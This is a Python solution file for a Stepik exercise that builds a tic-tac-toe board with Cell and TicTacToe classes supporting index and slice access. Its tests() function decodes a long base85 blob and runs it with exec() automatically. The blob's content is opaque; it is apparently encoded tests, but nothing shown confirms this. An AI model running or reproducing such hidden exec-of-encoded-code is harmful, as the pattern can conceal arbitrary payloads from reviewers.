py_stepik/mod_oop/3.8_10_tictactoe.py

170 lines
8.5 KiB
Python
Raw Normal View History

2024-04-16 11:55:29 +00:00
"""
https://stepik.org/lesson/701993/step/10?unit=702094
Вам нужно реализовать в программе игровое поле для игры "Крестики-нолики".
Для этого требуется объявить класс TicTacToe (крестики-нолики), объекты которого создаются командой:
game = TicTacToe()
Каждый объект game должен иметь публичный атрибут:
pole - игровое поле: кортеж размером 3х3 с объектами класса Cell.
Каждая клетка игрового поля представляется объектом класса Cell и создается командой:
cell = Cell()
Объекты класса Cell должны иметь следующие публичные локальные атрибуты:
is_free - True, если клетка свободна; False в противном случае;
value - значение поля: 1 - крестик; 2 - нолик (по умолчанию 0).
Также с каждым объектом класса Cell должна работать функция:
bool(cell)
которая возвращает True, если клетка свободна (cell.is_free=True) и False в противном случае.
Класс TicTacToe должен иметь следующий метод:
clear() - очистка игрового поля (все клетки заполняются нулями и переводятся в закрытое состояние);
А объекты этого класса должны иметь следующую функциональность (обращение по индексам):
game[0, 0] = 1 # установка нового значения, если поле закрыто
res = game[1, 1] # получение значения центральной ячейки поля (возвращается число)
Если указываются некорректные индексы, то должно генерироваться исключение командой:
raise IndexError('неверный индекс клетки')
Если идет попытка присвоить новое значение в открытую клетку поля, то генерировать исключение:
raise ValueError('клетка уже занята')
Также должны быть реализованы следующие полные срезы при обращении к клеткам игрового поля:
slice_1 = game[:, indx] # выбираются все элементы (кортеж) столбца с индексом indx
slice_2 = game[indx, :] # выбираются все элементы (кортеж) строки с индексом indx
Пример использования классов (эти строчки в программе не писать):
game = TicTacToe()
game.clear()
game[0, 0] = 1
game[1, 0] = 2
# формируется поле:
# 1 0 0
# 2 0 0
# 0 0 0
game[3, 2] = 2 # генерируется исключение IndexError
if game[0, 0] == 0:
game[0, 0] = 2
v1 = game[0, :] # 1, 0, 0
v2 = game[:, 0] # 1, 2, 0
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
P.P.S. При передаче среза в магических методах __setitem__() и __getitem__() параметр индекса становится объектом класса slice.
Его можно указывать непосредственно в квадратных скобках упорядоченных коллекций (списков, кортежей и т.п.).
"""
class Cell:
CHARS = " OX"
def __init__(self, value=0, is_free=True):
self.value, self.is_free = value, is_free
def __bool__(self):
return self.is_free
def __repr__(self):
return f"{self.__class__.__name__}{(self.value, self.is_free)!r}"
def __str__(self):
return self.CHARS[not self and self.value]
class TicTacToe:
def __init__(self, pole=None):
if pole is None:
pole = tuple(tuple(Cell() for _ in range(3)) for _ in range(3))
self.pole = pole
def clear(self):
for row in self.pole:
for cell in row:
cell.is_free = True
cell.value = 0
def _get_key(self, key):
if not isinstance(key, tuple) or len(key) != 2:
raise IndexError("неверный индекс клетки")
return tuple(x if isinstance(x, int) else None for x in key)
def __getitem__(self, key):
key = self._get_key(key)
row, col = key
if row is None and col is None:
return tuple(tuple(c.value for c in r) for r in self.pole)
if row is not None and col is not None:
return self.pole[row][col].value
if row is not None and col is None:
return tuple(x.value for x in self.pole[row])
return tuple(self.pole[row][col].value for row in range(len(self.pole)))
def __setitem__(self, key, value):
key = self._get_key(key)
row, col = key
if row is None and col is None:
for i, row in enumerate(value):
for j, v in enumerate(row):
self[i, j] = v
return
if row is not None and col is not None:
cell = self.pole[row][col]
if not cell.is_free:
raise ValueError("клетка уже занята")
cell.value = value
cell.is_free = False
return
if row is not None and col is None:
for j, v in enumerate(value):
self[row, j] = v
return
for i, v in enumerate(value):
self[i, col] = v
def __repr__(self):
return f"{self.__class__.__name__}({self.pole!r})"
def __str__(self):
return "\n".join(map(lambda r: " ".join(map(str, r)), self.pole))
def tests():
code = (
b"XCOTwRB2;WVPjNpWhf~MXD(xGWnpqCDGFh8b7gXLAZJ@JEFdslAU!=GFd$)WWFTi-GAtl6T_8O"
+ b"@ATTT-BGA3iu+fLmu+Y2FjL^N&i_o<o(6`XN(6G^m(6!LL(74f$AkebWfzY+lg&@$n(7VvJ(Sp#v"
+ b"(7GVdw9vlLyU@1Kz0r#x(6P~r(Sp&8Akl!(u+Xy5z0r#xFd_<PTQMvkF<l@%ATbJOTQV#lF<l@%A"
+ b"TkPJb8}^KbRcJ2F)Sc4T_8O@ATc0eZe$>5TQV#lF<l@%Js>hHAR^Gc(6!LA(6!Nk(7n*UAke<ig3"
+ b"*A`u+Xv4zR`lvu+Y2EuprRB(7({N(SXpf(T32t(T^a|ztMouxY2>ove2;5xX`lDu+Y8GxY3Uw(7n"
+ b"*U(6Z5s(S;z;x6r-Nu+fLmwa~rLxX`&E(7MpO(6!Nm(7MpD(7YhfxX`oFfY83sve3TJv(UaE(7({"
+ b"W(7Vx(ASlqd(7VvMEFjRm(6!LI(7w@t(SXpk(7Mrr(7n*UAkl!(u+Xv4zR`lvu+X*9f*{d>(TC8u"
+ b"(Sp&7(6Z35(7n*O(6u1Yx6r-Nu+fLmwa~rLxX`&NA_@w0a(OxmARr(ha%FQMJs@XWGb|u5T?%D*V"
+ b"`Xr3AW3dyWq3t$a&K}v3LqdLAYpTJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6"
+ b"u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~*Ze(S6MRI"
+ b"a)av;#Z(SXpnAkl%*htRmug3*i6ve2;5z0kPOxFFED(6=Daz0kGMfzgA}iO{vtfzg7{veARlj?sz"
+ b"Gwa~dB(T~xG(6!LH(7MpLA_@v1ARr(LbaHt*3LqdLAZJ@MEFdslAUz;83T1d>WpH#LNp56ictvt@"
+ b"Z*n>cARr(hVRLh3a&#b6a&=`2Wo&b0Itm~lARu9Lb7gXLAVy(qb7d?bBGA3iwII=f(6i9B(7n*L("
+ b"SXpn(SXpt(6Z35(7VvS(Sgy7AketcfzZ0pyU~u(htRdqz0kPOwIE4uWMz0oa&m8SAke?jfY7)g(6"
+ b"`XA(7({Q(SgvoAkeZP(7n*L(Sgx}(TUKt(Sgx|(6Z5k(T>rH(Sy;BAkmM}htRdqxzM`NgCYtF3TG"
+ b"~3Y-M3`C@BhOTQDpjFkK)$ATbJOTQMvkFkK)$ATkPPTQV#lFkK)$ATtUIVRLh3a&#bPTQDpjI$a<"
+ b"=Js>DCEFdr}ATTK)VQyp~XIn8WAUa(jJv|^OGAtl4EFdr`AYpD~AZJ@TEFdslAU!=GC^0M`GAtl7"
+ b"DJ&o&(7n*L(7MpR(SXr_(6!LI(Sp#u(7qthzR`lwfY7kevCzKJg3z$gyU@5G(Sgx`(6!LF(TgC^z"
+ b"tFzXfzZ3qwII;4(TmWx(7w>J(6AuTywJ7Lg3!Luw9v31V{Bz%awsVv(6}JbztMouxY2>ove2;5xX"
+ b"`lDu+Y8GxY3Uw(7n*U(6Z5s(S;z;x6r-Nu+fLmwa~rLxX`&G3JPOoY-}JsAVXzrY$z!TVRLh3a&#"
+ b"bLWo&FNc42IFWgtC0ATTT-BGA3iu+fLmu+Y2FjL^N%zR<NG(6`XN(6G^m(6!LL(74dGAkeVUg3*A"
+ b"`xX`iDgVBP}upo9}Y;|QI(7MpO(6G^g(SgvgAVXzrY#`9I(7w>S(6-RM(7qthvC)gsg3*j1(SXpf"
+ b"(6Z3I(7qrrA_{V4b09q+V`Xe?E@^XLW^!d^3S(t#Y%XbYUuJS;WgtBuRC0A?3So0|WpZ>NVsCG3C"
+ b"}U-8Y$+@tBGH7=gV4Ruy3vNvxY3UwVsCG3AkebVwb6jkz0rfvyU?&8MqzAoWgyVB(7Vx(Akl%)ve"
+ b"3TJvCzKIw9viKzR<ZK(7MpO(6!Nm(7MpLA^"
)
exec(__import__("base64").b85decode(code))
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()